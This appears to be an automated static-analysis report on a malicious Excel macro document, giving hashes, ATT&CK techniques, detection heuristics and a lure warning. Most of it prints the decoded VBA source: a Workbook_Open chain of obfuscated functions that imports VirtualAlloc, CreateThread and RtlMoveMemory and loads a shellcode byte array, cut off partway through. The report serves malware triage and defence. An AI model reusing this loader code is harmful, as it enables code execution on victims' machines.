Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e3d0834a8df0360…

MALICIOUS

Office (OLE)

256.5 KB Created: 2017-09-14 00:29:18 Authoring application: Microsoft Excel First seen: 2017-10-10
MD5: ac149e3ebe9cef2344b697f2c460a238 SHA-1: 8d8d36a8051faa44f412e8db94a98c7771977815 SHA-256: 9e3d0834a8df03608e1ffe47fd62566499553052600e18c0dfd5e9e7efe55cb1
70 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

This Excel document contains VBA macros, including a Workbook_Open macro, designed to execute malicious code. The document also contains a lure instructing the user to 'Enable content to properly view document'. The VBA code uses obfuscated API calls and references to 'KERnel32', suggesting it attempts to download and execute a second-stage payload, likely leveraging VirtualAlloc and CreateThread.

Heuristics 5

  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub workBOOk_OpeN()
    Call J2obN8WrZCAfzsu
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 239293 bytes
SHA-256: e303e6675fff82e773317ba428b5bb4d95360690c9121c293aaf31bfdcad5549
Detection
ClamAV: No threats found
Obfuscation or payload: likely
85 of 163 identifiers look randomly generated (e.g. 'dbd0d48cf8266c39f7c31eaa9') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function byMfXYyLtSQ13ss1daEB5 Lib "KERnel32" Alias "CreateThread" (ByVal TnkG5 As LongPtr, ByVal y4P3OCh5iq1bw As Long, ByVal ZDc6VB As LongPtr, ByVal qLZKux As LongPtr, ByVal y3X4eR3Ye As Long, ByRef qCBbsYzfoW1L As Long) As LongPtr
Private Declare PtrSafe Function KbBcOTz8s5lwSVFqEbb6 Lib "KERnel32" Alias "VirtualAlloc" (ByVal qZFe8FFOSzvaw As LongPtr, ByVal oXb6mRD As LongPtr, ByVal oBvM4J56 As Long, ByVal zIoZnsg9boADJ As Long) As LongPtr
Private Declare PtrSafe Sub LBIsHtyOnL Lib "KERnel32" Alias "RtlMoveMemory" (ByRef GwzR2ynBg0hz As Any, QAz9W0fRc As Any, ByVal ZpsctnGgxfe8 As Long)

#Else
Private Declare Function byMfXYyLtSQ13ss1daEB5 Lib "KERnel32" Alias "CreateThread" (ByVal AOTJ2UTjI6d As Long, ByVal RKsXnm2dx4y3di As Long, ByVal nJEaJjgUd As Long, ByVal EyrXQIJ5MO As Long, ByVal BUKlJYg As Long, ByRef C4f7k As Long) As Long
Private Declare Function KbBcOTz8s5lwSVFqEbb6 Lib "KERnel32" Alias "VirtualAlloc" (ByVal iBx06NZmsLDoe As Long, ByVal ZD6eXFiaDzsK As Long, ByVal UY7JK0 As Long, ByVal vrU6tv As Long) As Long
Private Declare Sub LBIsHtyOnL Lib "KERnel32" Alias "RtlMoveMemory" (ByRef pP2kPZCKTpewnlw As Any, R7Y As Any, ByVal W4H As Long)

#End If

Sub workBOOk_OpeN()
Call J2obN8WrZCAfzsu
End Sub
Static Function J2obN8WrZCAfzsu() As Currency
Call j2ErJsSLLWObv
End Function
Static Function j2ErJsSLLWObv() As Integer
Call nJOwT3yivlEm
End Function
Private Function nJOwT3yivlEm() As Long
Call alfuulDiALD2Ev5Q
End Function
Static Function alfuulDiALD2Ev5Q() As Variant
Call HI2l7UynRy6flYiFXgMnh
End Function
Static Function HI2l7UynRy6flYiFXgMnh() As Integer
Call LRu4PNiCFJMm9fyIvVoU3t6o
End Function
Function LRu4PNiCFJMm9fyIvVoU3t6o() As Single
Call RZ66t76iRf
End Function
Static Function RZ66t76iRf() As Double
Call jPUwHvwg1fOmDPCyjHsOP1CK
End Function
Function jPUwHvwg1fOmDPCyjHsOP1CK() As Single
Call pXYq7tWQx7
End Function
Static Function pXYq7tWQx7() As Date
Call fdo2PxE4JR6QXxMulX6Mbtsk
End Function
Function fdo2PxE4JR6QXxMulX6Mbtsk() As Currency
Call ZjMwRhySF5
End Function
Static Function ZjMwRhySF5() As Integer
Call zlSiHNoeTFqUn9uM5r0AXLom
End Function
Function zlSiHNoeTFqUn9uM5r0AXLom() As Variant
Call Rr203vcuJj
End Function
Static Function Rr203vcuJj() As Integer
Call H3gsVf0sTn4OpRwkvvIAlJGK
End Function
Function H3gsVf0sTn4OpRwkvvIAlJGK() As Variant
Call djGGDdE0np
End Function
Static Function djGGDdE0np() As Double
Call XPscpxKmPxOA5Re43ZmsxpAs
End Function
Function XPscpxKmPxOA5Re43ZmsxpAs() As Single
Call ZlK6LzgczH
End Function
Static Function ZlK6LzgczH() As Date
Call rJ087zsYzh0yfLqURFswR74W
End Function
Function rJ087zsYzh0yfLqURFswR74W() As Single
Call l1e0Tn2Cl7
End Function
Static Function l1e0Tn2Cl7() As Double
Call DREELfMUZfGcH1ym93Ac7x8W
End Function
Function DREELfMUZfGcH1ym93Ac7x8W() As Single
Call lDm6Fxws9V
End Function
Static Function lDm6Fxws9V() As Integer
Call XXkMdRA2d3cUjR8KrfoGXneE
End Function
Function XXkMdRA2d3cUjR8KrfoGXneE() As Variant
Call JdM6z3eqnD
End Function
Static Function JdM6z3eqnD() As Integer
Call fVSaDTkElFAezf0AtvcQtD2A
End Function
Function fVSaDTkElFAezf0AtvcQtD2A() As Variant
Call xDiuZDayx9
End Function
Static Function xDiuZDayx9() As Integer
Call LLMcxVEGBjck9RuwBl2CxNKQ
End Function
Function LLMcxVEGBjck9RuwBl2CxNKQ() As Currency
Call tXkUXHGE1L
End Function
Static Function tXkUXHGE1L() As Double
Call DD4kLPKQF5o4PboQJncqB7iE
End Function
Function DD4kLPKQF5o4PboQJncqB7iE() As Single
Call hl0yZdqEXx
End Function
Static Function hl0yZdqEXx() As Integer
Call jroSzBOevZi257G0xhYmbLyU
End Function
Function jroSzBOevZi257G0xhYmbLyU() As Currency
Call Nj86vp6gdH
End Function
Static Function Nj86vp6gdH() As Double
Call XBUIdxQ0JXQC95UiRn8yPdWg
End Function
Function XBUIdxQ0JXQC95UiRn8yPdWg() As Currency
Call ZNSE1ZwSZh
End Function
Static Function ZNSE1ZwSZh() As Date
Call Dh4SdT0AdTeChDIiDZI4NBOu
End Function
Function Dh4SdT0AdTeChDIiDZI4NBOu() As Variant
Call ZjsMtbs0FF
End Function
Static Function ZjsMtbs0FF() As Date
Call bXCGz7OQjziKPrcGJ36qxnmQ
End Function
Function bXCGz7OQjziKPrcGJ36qxnmQ() As Currency
Call J1w6Dt4Sh5
End Function
Static Function J1w6Dt4Sh5() As Date
Call HT6AnrQi5J6W7T4kxzkeBtSa
End Function
Function HT6AnrQi5J6W7T4kxzkeBtSa() As Currency
Call pXICFxIWXV
End Function
Static Function pXICFxIWXV() As Date
Call bPeiJr4aHnOInfoiRBW0jZqO
End Function
Function bPeiJr4aHnOInfoiRBW0jZqO() As Single
Call VhGWPzS2Zt
End Function
Static Function VhGWPzS2Zt() As Double
Call HpM8trSE3RooVdgIDbsYPzyS
End Function
Function HpM8trSE3RooVdgIDbsYPzyS() As Currency
Call tbk4Fl40fn
End Function
Static Function tbk4Fl40fn() As Integer
Call ztKiVDISjLgMTF8GrJq2dx2W
End Function
Function ztKiVDISjLgMTF8GrJq2dx2W() As Variant
Call tvIwPDo0Lr
End Function
Static Function tvIwPDo0Lr() As Double
Call fNoQnRSAJjys1xkWXV8MTRoS
End Function
Function fNoQnRSAJjys1xkWXV8MTRoS() As Variant
Call hTYsftwmFr
End Function
Static Function hTYsftwmFr() As Date
Call HdgKTfuwNTms7rC65XW05TiG
End Function
Function HdgKTfuwNTms7rC65XW05TiG() As Currency
Call ZfqGxTMgfD
End Function
Static Function ZfqGxTMgfD() As Date
Call bDw6P7Gw9ZK2pfK8RLU6HFI2
End Function
Function bDw6P7Gw9ZK2pfK8RLU6HFI2() As Currency
Call pbaaJD6AxR
End Function
Static Function pbaaJD6AxR() As Double
Call nFC67hkyTbQ8rjaufV2wT5iW
End Function
Function nFC67hkyTbQ8rjaufV2wT5iW() As Variant
Call ZxmSN5oMBD
End Function
Static Function ZxmSN5oMBD() As Double
Call vVgEftEULJY63XWoxjOMDvG6
End Function
Function vVgEftEULJY63XWoxjOMDvG6() As Variant
Call p1ecv7GyxJ
End Function
Static Function p1ecv7GyxJ() As Date
Call rroappAWp3oSLdMM7pMuBJMG
End Function
Function rroappAWp3oSLdMM7pMuBJMG() As Currency
Call pFwwtxsMZ7
End Function
Static Function pFwwtxsMZ7() As Double
Call zp2MxFAkfpuMLHQibHqChxY6
End Function
Function zp2MxFAkfpuMLHQibHqChxY6() As Variant
Call RDauJRAUtB
End Function
Static Function RDauJRAUtB() As Double
Call TZ0M11yyBFAcFJeeTdQU99WO
End Function
Function TZ0M11yyBFAcFJeeTdQU99WO() As Single
Call FZe8pxmyx9
End Function
Static Function FZe8pxmyx9() As Date
Call DLw2fBweNV4etBcYPbme7LWy
End Function
Function DLw2fBweNV4etBcYPbme7LWy() As Single
Call FfGsDZU2tJ
End Function
Static Function FfGsDZU2tJ() As Double
Call H1EybJ2ILViSDz2SFXEil50M
End Function
Function H1EybJ2ILViSDz2SFXEil50M() As Variant
Call tPkUvRi2VZ
End Function
Static Function tPkUvRi2VZ() As Integer
Call fdsqhBscnDmkJxC0PrgItZ0e
End Function
Function fdsqhBscnDmkJxC0PrgItZ0e() As Single
Call BN0yxNyw9x
End Function
Static Function BN0yxNyw9x() As Integer
Call HpyyxfCQZj8mtvayT9iePbAa
End Function
Function HpyyxfCQZj8mtvayT9iePbAa() As Currency
Call NFawTnQqrd
End Function
Static Function NFawTnQqrd() As Date
Call pQafl8gP1uYT5ICplWK
End Function

Sub pQafl8gP1uYT5ICplWK()
Dim uL36YptsUtRQ As Long, J9QuBbiU As Long, TSelp As Variant
#If VBA7 Then
Dim ph2EhjIKP9I6 As LongPtr
#Else
Dim ph2EhjIKP9I6 As Long
#End If
ReDim TSelp(2304)
TSelp(0) = 233
TSelp(1) = 187
TSelp(2) = 1
TSelp(3) = 0
TSelp(4) = 0
TSelp(5) = 135
TSelp(6) = 232
TSelp(7) = 220
TSelp(8) = 133
TSelp(9) = 1
TSelp(10) = 114
TSelp(11) = 246
TSelp(12) = 175
TSelp(13) = 187
TSelp(14) = 60
TSelp(15) = 80
TSelp(16) = 25
TSelp(17) = 181
TSelp(18) = 70
TSelp(19) = 234
TSelp(20) = 195
TSelp(21) = 239
TSelp(22) = 144
TSelp(23) = 196
TSelp(24) = 173
TSelp(25) = 105
TSelp(26) = 26
TSelp(27) = 222
TSelp(28) = 215
TSelp(29) = 35
TSelp(30) = 228
TSelp(31) = 56
TSelp(32) = 65
TSelp(33) = 29
TSelp(34) = 238
TSelp(35) = 210
TSelp(36) = 235
TSelp(37) = 87
TSelp(38) = 56
TSelp(39) = 172
TSelp(40) = 213
TSelp(41) = 209
TSelp(42) = 194
TSelp(43) = 198
TSelp(44) = 255
TSelp(45) = 139
TSelp(46) = 140
TSelp(47) = 32
TSelp(48) = 105
TSelp(49) = 133
TSelp(50) = 150
TSelp(51) = 186
TSelp(52) = 19
TSelp(53) = 191
TSelp(54) = 224
TSelp(55) = 148
TSelp(56) = 253
TSelp(57) = 57
TSelp(58) = 106
TSelp(59) = 174
TSelp(60) = 39
TSelp(61) = 243
TSelp(62) = 52
TSelp(63) = 8
TSelp(64) = 145
TSelp(65) = 237
TSelp(66) = 62
TSelp(67) = 162
TSelp(68) = 59
TSelp(69) = 39
TSelp(70) = 136
TSelp(71) = 124
TSelp(72) = 37
TSelp(73) = 161
TSelp(74) = 18
TSelp(75) = 150
TSelp(76) = 79
TSelp(77) = 91
TSelp(78) = 220
TSelp(79) = 240
TSelp(80) = 185
TSelp(81) = 85
TSelp(82) = 230
TSelp(83) = 138
TSelp(84) = 99
TSelp(85) = 143
TSelp(86) = 48
TSelp(87) = 100
TSelp(88) = 77
TSelp(89) = 9
TSelp(90) = 186
TSelp(91) = 126
TSelp(92) = 119
TSelp(93) = 195
TSelp(94) = 132
TSelp(95) = 216
TSelp(96) = 225
TSelp(97) = 189
TSelp(98) = 142
TSelp(99) = 114
TSelp(100) = 139
TSelp(101) = 247
TSelp(102) = 216
TSelp(103) = 76
TSelp(104) = 117
TSelp(105) = 113
TSelp(106) = 98
TSelp(107) = 102
TSelp(108) = 159
TSelp(109) = 43
TSelp(110) = 44
TSelp(111) = 192
TSelp(112) = 9
TSelp(113) = 37
TSelp(114) = 54
TSelp(115) = 90
TSelp(116) = 179
TSelp(117) = 95
TSelp(118) = 128
TSelp(119) = 52
TSelp(120) = 157
TSelp(121) = 217
TSelp(122) = 10
TSelp(123) = 78
TSelp(124) = 199
TSelp(125) = 147
TSelp(126) = 212
TSelp(127) = 168
TSelp(128) = 49
TSelp(129) = 141
TSelp(130) = 222
TSelp(131) = 66
TSelp(132) = 219
TSelp(133) = 199
TSelp(134) = 40
TSelp(135) = 28
TSelp(136) = 197
TSelp(137) = 65
TSelp(138) = 178
TSelp(139) = 54
TSelp(140) = 239
TSelp(141) = 251
TSelp(142) = 124
TSelp(143) = 144
TSelp(144) = 89
TSelp(145) = 245
TSelp(146) = 134
TSelp(147) = 42
TSelp(148) = 3
TSelp(149) = 47
TSelp(150) = 208
TSelp(151) = 4
TSelp(152) = 237
TSelp(153) = 169
TSelp(154) = 90
TSelp(155) = 30
TSelp(156) = 23
TSelp(157) = 99
TSelp(158) = 36
TSelp(159) = 120
TSelp(160) = 129
TSelp(161) = 93
TSelp(162) = 46
TSelp(163) = 18
TSelp(164) = 43
TSelp(165) = 151
TSelp(166) = 120
TSelp(167) = 236
TSelp(168) = 21
TSelp(169) = 17
TSelp(170) = 2
TSelp(171) = 6
TSelp(172) = 63
TSelp(173) = 203
TSelp(174) = 204
TSelp(175) = 96
TSelp(176) = 169
TSelp(177) = 197
TSelp(178) = 214
TSelp(179) = 250
TSelp(180) = 83
TSelp(181) = 255
TSelp(182) = 32
TSelp(183) = 212
TSelp(184) = 61
TSelp(185) = 121
TSelp(186) = 170
TSelp(187) = 238
TSelp(188) = 103
TSelp(189) = 51
TSelp(190) = 116
TSelp(191) = 72
TSelp(192) = 209
TSelp(193) = 45
TSelp(194) = 126
TSelp(195) = 226
TSelp(196) = 123
TSelp(197) = 103
TSelp(198) = 200
TSelp(199) = 188
TSelp(200) = 101
TSelp(201) = 225
TSelp(202) = 82
TSelp(203) = 214
TSelp(204) = 143
TSelp(205) = 155
TSelp(206) = 28
TSelp(207) = 48
TSelp(208) = 249
TSelp(209) = 149
TSelp(210) = 38
TSelp(211) = 202
TSelp(212) = 163
TSelp(213) = 207
TSelp(214) = 112
TSelp(215) = 164
TSelp(216) = 141
TSelp(217) = 73
TSelp(218) = 250
TSelp(219) = 190
TSelp(220) = 183
TSelp(221) = 3
TSelp(222) = 196
TSelp(223) = 24
TSelp(224) = 33
TSelp(225) = 253
TSelp(226) = 206
TSelp(227) = 178
TSelp(228) = 203
TSelp(229) = 55
TSelp(230) = 24
TSelp(231) = 140
TSelp(232) = 181
TSelp(233) = 177
TSelp(234) = 162
TSelp(235) = 166
TSelp(236) = 223
TSelp(237) = 107
TSelp(238) = 108
TSelp(239) = 0
TSelp(240) = 73
TSelp(241) = 101
TSelp(242) = 118
TSelp(243) = 154
TSelp(244) = 243
TSelp(245) = 159
TSelp(246) = 192
TSelp(247) = 116
TSelp(248) = 221
TSelp(249) = 25
TSelp(250) = 74
TSelp(251) = 142
TSelp(252) = 7
TSelp(253) = 211
TSelp(254) = 20
TSelp(255) = 232
TSelp(256) = 113
TSelp(257) = 205
TSelp(258) = 30
TSelp(259) = 130
TSelp(260) = 27
TSelp(261) = 7
TSelp(262) = 104
TSelp(263) = 92
TSelp(264) = 5
TSelp(265) = 129
TSelp(266) = 242
TSelp(267) = 118
TSelp(268) = 47
TSelp(269) = 59
TSelp(270) = 188
TSelp(271) = 208
TSelp(272) = 153
TSelp(273) = 53
TSelp(274) = 198
TSelp(275) = 106
TSelp(276) = 67
TSelp(277) = 111
TSelp(278) = 16
TSelp(279) = 68
TSelp(280) = 45
TSelp(281) = 233
TSelp(282) = 154
TSelp(283) = 94
TSelp(284) = 87
TSelp(285) = 163
TSelp(286) = 100
TSelp(287) = 184
TSelp(288) = 193
TSelp(289) = 157
TSelp(290) = 110
TSelp(291) = 82
TSelp(292) = 107
TSelp(293) = 215
TSelp(294) = 184
TSelp(295) = 44
TSelp(296) = 85
TSelp(297) = 81
TSelp(298) = 66
TSelp(299) = 70
TSelp(300) = 127
TSelp(301) = 11
TSelp(302) = 12
TSelp(303) = 160
TSelp(304) = 233
TSelp(305) = 5
TSelp(306) = 22
TSelp(307) = 58
TSelp(308) = 147
TSelp(309) = 63
TSelp(310) = 96
TSelp(311) = 20
TSelp(312) = 125
TSelp(313) = 185
TSelp(314) = 234
TSelp(315) = 46
TSelp(316) = 167
TSelp(317) = 115
TSelp(318) = 180
TSelp(319) = 136
TSelp(320) = 17
TSelp(321) = 109
TSelp(322) = 190
TSelp(323) = 34
TSelp(324) = 187
TSelp(325) = 167
TSelp(326) = 8
TSelp(327) = 252
TSelp(328) = 165
TSelp(329) = 33
TSelp(330) = 146
TSelp(331) = 22
TSelp(332) = 207
TSelp(333) = 219
TSelp(334) = 92
TSelp(335) = 112
TSelp(336) = 57
TSelp(337) = 213
TSelp(338) = 102
TSelp(339) = 10
TSelp(340) = 227
TSelp(341) = 15
TSelp(342) = 176
TSelp(343) = 228
TSelp(344) = 205
TSelp(345) = 137
TSelp(346) = 58
TSelp(347) = 254
TSelp(348) = 247
TSelp(349) = 67
TSelp(350) = 4
TSelp(351) = 88
TSelp(352) = 97
TSelp(353) = 61
TSelp(354) = 14
TSelp(355) = 242
TSelp(356) = 11
TSelp(357) = 119
TSelp(358) = 88
TSelp(359) = 204
TSelp(360) = 245
TSelp(361) = 241
TSelp(362) = 226
TSelp(363) = 230
TSelp(364) = 31
TSelp(365) = 171
TSelp(366) = 172
TSelp(367) = 64
TSelp(368) = 137
TSelp(369) = 165
TSelp(370) = 182
TSelp(371) = 218
TSelp(372) = 51
TSelp(373) = 223
TSelp(374) = 0
TSelp(375) = 180
TSelp(376) = 29
TSelp(377) = 89
TSelp(378) = 138
TSelp(379) = 206
TSelp(380) = 71
TSelp(381) = 19
TSelp(382) = 84
TSelp(383) = 40
TSelp(384) = 177
TSelp(385) = 13
TSelp(386) = 94
TSelp(387) = 194
TSelp(388) = 91
TSelp(389) = 71
TSelp(390) = 168
TSelp(391) = 156
TSelp(392) = 69
TSelp(393) = 193
TSelp(394) = 50
TSelp(395) = 182
TSelp(396) = 111
TSelp(397) = 123
TSelp(398) = 252
TSelp(399) = 16
TSelp(400) = 217
TSelp(401) = 117
TSelp(402) = 6
TSelp(403) = 170
TSelp(404) = 131
TSelp(405) = 175
TSelp(406) = 80
TSelp(407) = 132
TSelp(408) = 109
TSelp(409) = 41
TSelp(410) = 218
TSelp(411) = 158
TSelp(412) = 151
TSelp(413) = 227
TSelp(414) = 164
TSelp(415) = 248
TSelp(416) = 1
TSelp(417) = 221
TSelp(418) = 174
TSelp(419) = 146
TSelp(420) = 171
TSelp(421) = 23
TSelp(422) = 248
TSelp(423) = 108
TSelp(424) = 149
TSelp(425) = 145
TSelp(426) = 130
TSelp(427) = 134
TSelp(428) = 191
TSelp(429) = 75
TSelp(430) = 76
TSelp(431) = 224
TSelp(432) = 41
TSelp(433) = 69
TSelp(434) = 86
TSelp(435) = 122
TSelp(436) = 211
TSelp(437) = 127
TSelp(438) = 160
TSelp(439) = 84
TSelp(440) = 189
TSelp(441) = 249
TSelp(442) = 42
TSelp(443) = 110
TSelp(444) = 231
TSelp(445) = 179
TSelp(446) = 244
TSelp(447) = 200
TSelp(448) = 233
TSelp(449) = 9
TSelp(450) = 1
TSelp(451) = 0
TSelp(452) = 0
TSelp(453) = 233
TSelp(454) = 224
TSelp(455) = 0
TSelp(456) = 0
TSelp(457) = 0
TSelp(458) = 233
TSelp(459) = 36
TSelp(460) = 2
TSelp(461) = 0
TSelp(462) = 0
TSelp(463) = 233
TSelp(464) = 207
TSelp(465) = 0
TSelp(466) = 0
TSelp(467) = 0
TSelp(468) = 235
TSelp(469) = 97
TSelp(470) = 235
TSelp(471) = 76
TSelp(472) = 235
TSelp(473) = 126
TSelp(474) = 233
TSelp(475) = 45
TSelp(476) = 2
TSelp(477) = 0
TSelp(478) = 0
TSelp(479) = 86
TSelp(480) = 233
TSelp(481) = 24
TSelp(482) = 1
TSelp(483) = 0
TSelp(484) = 0
TSelp(485) = 233
TSelp(486) = 157
TSelp(487) = 1
TSelp(488) = 0
TSelp(489) = 0
TSelp(490) = 233
TSelp(491) = 120
TSelp(492) = 1
TSelp(493) = 0
TSelp(494) = 0
TSelp(495) = 235
TSelp(496) = 24
TSelp(497) = 233
TSelp(498) = 242
TSelp(499) = 0
TSelp(500) = 0
TSelp(501) = 0
TSelp(502) = 232
TSelp(503) = 250
TSelp(504) = 1
TSelp(505) = 0
TSelp(506) = 0
TSelp(507) = 235
TSelp(508) = 19
TSelp(509) = 233
TSelp(510) = 23
TSelp(511) = 2
TSelp(512) = 0
TSelp(513) = 0
TSelp(514) = 233
TSelp(515) = 59
TSelp(516) = 2
TSelp(517) = 0
TSelp(518) = 0
TSelp(519) = 235
TSelp(520) = 86
TSelp(521) = 235
TSelp(522) = 32
TSelp(523) = 233
TSelp(524) = 206
TSelp(525) = 1
TSelp(526) = 0
TSelp(527) = 0
TSelp(528) = 233
TSelp(529) = 230
TSelp(530) = 1
TSelp(531) = 0
TSelp(532) = 0
TSelp(533) = 233
TSelp(534) = 111
TSelp(535) = 1
TSelp(536) = 0
TSelp(537) = 0
TSelp(538) = 233
TSelp(539) = 210
TSelp(540) = 1
TSelp(541) = 0
TSelp(542) = 0
TSelp(543) = 233
TSelp(544) = 42
TSelp(545) = 2
TSelp(546) = 0
TSelp(547) = 0
TSelp(548) = 235
TSelp(549) = 220
TSelp(550) = 233
TSelp(551) = 238
TSelp(552) = 1
TSelp(553) = 0
TSelp(554) = 0
TSelp(555) = 233
TSelp(556) = 89
TSelp(557) = 1
TSelp(558) = 0
TSelp(559) = 0
TSelp(560) = 235
TSelp(561) = 33
TSelp(562) = 233
TSelp(563) = 33
TSelp(564) = 2
TSelp(565) = 0
TSelp(566) = 0
TSelp(567) = 233
TSelp(568) = 133
TSelp(569) = 1
TSelp(570) = 0
TSelp(571) = 0
TSelp(572) = 235
TSelp(573) = 40
TSelp(574) = 129
TSelp(575) = 198
TSelp(576) = 121
TSelp(577) = 2
TSelp(578) = 0
TSelp(579) = 0
TSelp(580) = 141
TSelp(581) = 150
TSelp(582) = 137
TSelp(583) = 4
TSelp(584) = 0
TSelp(585) = 0
TSelp(586) = 235
TSelp(587) = 218
TSelp(588) = 235
TSelp(589) = 10
TSelp(590) = 233
TSelp(591) = 251
TSelp(592) = 1
TSelp(593) = 0
TSelp(594) = 0
TSelp(595) = 233
TSelp(596) = 175
TSelp(597) = 1
TSelp(598) = 0
TSelp(599) = 0
TSelp(600) = 235
TSelp(601) = 5
TSelp(602) = 233
TSelp(603) = 13
TSelp(604) = 1
TSelp(605) = 0
TSelp(606) = 0
TSelp(607) = 233
TSelp(608) = 147
TSelp(609) = 0
TSelp(610) = 0
TSelp(611) = 0
TSelp(612) = 235
TSelp(613) = 137
TSelp(614) = 233
TSelp(615) = 174
TSelp(616) = 1
TSelp(617) = 0
TSelp(618) = 0
TSelp(619) = 233
TSelp(620) = 141
TSelp(621) = 0
TSelp(622) = 0
TSelp(623) = 0
TSelp(624) = 233
TSelp(625) = 232
TSelp(626) = 1
TSelp(627) = 0
TSelp(628) = 0
TSelp(629) = 235
TSelp(630) = 7
TSelp(631) = 235
TSelp(632) = 94
TSelp(633) = 233
TSelp(634) = 89
TSelp(635) = 1
TSelp(636) = 0
TSelp(637) = 0
TSelp(638) = 235
TSelp(639) = 171
TSelp(640) = 233
TSelp(641) = 101
TSelp(642) = 1
TSelp(643) = 0
TSelp(644) = 0
TSelp(645) = 233
TSelp(646) = 130
TSelp(647) = 1
TSelp(648) = 0
TSelp(649) = 0
TSelp(650) = 233
TSelp(651) = 233
TSelp(652) = 0
TSelp(653) = 0
TSelp(654) = 0
TSelp(655) = 235
TSelp(656) = 37
TSelp(657) = 233
TSelp(658) = 43
TSelp(659) = 1
TSelp(660) = 0
TSelp(661) = 0
TSelp(662) = 144
TSelp(663) = 235
TSelp(664) = 81
TSelp(665) = 233
TSelp(666) = 57
TSelp(667) = 1
TSelp(668) = 0
TSelp(669) = 0
TSelp(670) = 233
TSelp(671) = 30
TSelp(672) = 1
TSelp(673) = 0
TSelp(674) = 0
TSelp(675) = 233
TSelp(676) = 208
TSelp(677) = 0
TSelp(678) = 0
TSelp(679) = 0
TSelp(680) = 235
TSelp(681) = 19
TSelp(682) = 233
TSelp(683) = 250
TSelp(684) = 0
TSelp(685) = 0
TSelp(686) = 0
TSelp(687) = 233
TSelp(688) = 108
TSelp(689) = 1
TSelp(690) = 0
TSelp(691) = 0
TSelp(692) = 235
TSelp(693) = 7
TSelp(694) = 233
TSelp(695) = 58
TSelp(696) = 1
TSelp(697) = 0
TSelp(698) = 0
TSelp(699) = 235
TSelp(700) = 45
TSelp(701) = 232
TSelp(702) = 42
TSelp(703) = 2
TSelp(704) = 0
TSelp(705) = 0
TSelp(706) = 235
TSelp(707) = 177
TSelp(708) = 233
TSelp(709) = 165
TSelp(710) = 0
TSelp(711) = 0
TSelp(712) = 0
TSelp(713) = 233
TSelp(714) = 9
TSelp(715) = 1
TSelp(716) = 0
TSelp(717) = 0
TSelp(718) = 233
TSelp(719) = 18
TSelp(720) = 1
TSelp(721) = 0
TSelp(722) = 0
TSelp(723) = 235
TSelp(724) = 34
TSelp(725) = 235
TSelp(726) = 184
TSelp(727) = 233
TSelp(728) = 61
TSelp(729) = 1
TSelp(730) = 0
TSelp(731) = 0
TSelp(732) = 233
TSelp(733) = 141
TSelp(734) = 0
TSelp(735) = 0
TSelp(736) = 0
TSelp(737) = 235
TSelp(738) = 155
TSelp(739) = 233
TSelp(740) = 119
TSelp(741) = 255
TSelp(742) = 255
TSelp(743) = 255
TSelp(744) = 235
TSelp(745) = 148
TSelp(746) = 235
TSelp(747) = 17
TSelp(748) = 235
TSelp(749) = 207
TSelp(750) = 235
TSelp(751) = 13
…